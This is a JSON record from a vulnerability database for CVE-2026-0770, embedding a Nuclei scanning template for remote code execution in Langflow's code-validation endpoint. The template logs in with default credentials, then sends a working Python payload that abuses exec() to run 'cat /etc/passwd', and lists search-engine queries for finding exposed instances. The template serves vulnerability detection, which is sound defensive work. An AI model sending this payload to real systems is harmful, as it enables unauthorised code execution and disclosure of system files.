{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-0770/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-0770/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-0770/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-0770/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-0770/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-0770"},"sightings":{"href":"/api/v1/sightings/cve-2026-0770"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-0770.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-0770\n\ninfo:\n  name: Langflow < 1.3.0 - Remote Code Execution via validate_code() exec()\n  author: affix\n  severity: critical\n  description: |\n    Langflow contains a remote code execution caused by inclusion of functionality from untrusted control sphere in the exec_globals parameter at the validate endpoint, letting remote attackers execute arbitrary code as root, exploit requires no authentication.\n  impact: |\n    Remote attackers can execute arbitrary code as root, leading to full system compromise.\n  remediation: |\n    Update to the latest version of Langflow.\n  reference:\n    - https://github.com/affix/CVE-2026-0770-PoC\n    - https://github.com/langflow-ai/langflow\n    - https://www.horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-0770\n    epss-score: 0.63839\n    epss-percentile: 0.99183\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    fofa-query: title=\"Langflow\"\n    shodan-query: title:\"Langflow\"\n  tags: cve,cve2026,langflow,rce,authenticated,vuln,vkev,kev\n\nvariables:\n  username: \"langflow\"\n  password: \"langflow\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username={{username}}&password={{password}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"access_token\"\n          - \"token_type\"\n        condition: and\n        internal: true\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n        internal: true\n\n      - type: status\n        status:\n          - 200\n        internal: true\n\n    extractors:\n      - type: regex\n        name: token\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - '\"access_token\"\\s*:\\s*\"([^\"]+)\"'\n\n  - raw:\n      - |\n        POST /api/v1/validate/code HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"code\":\"\\ndef exploit(\\n    _=( lambda r: (_ for _ in ()).throw(Exception(f\\\"OUTPUT:\\\\n{r.stdout}{r.stderr}\\\")) )(\\n        __import__('subprocess').run('cat /etc/passwd', shell=True, capture_output=True, text=True)\\n    )\\n):\\n    pass\\n\"}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"application/json\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100f9d2a56ab0305d53936cda67744ff3835d3b692510b1237ea3c04249dacd7004022100a2253da925cdf960dd9107420950bac459af3069a374e4d03e4f0dd56b7877d6:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-0770"}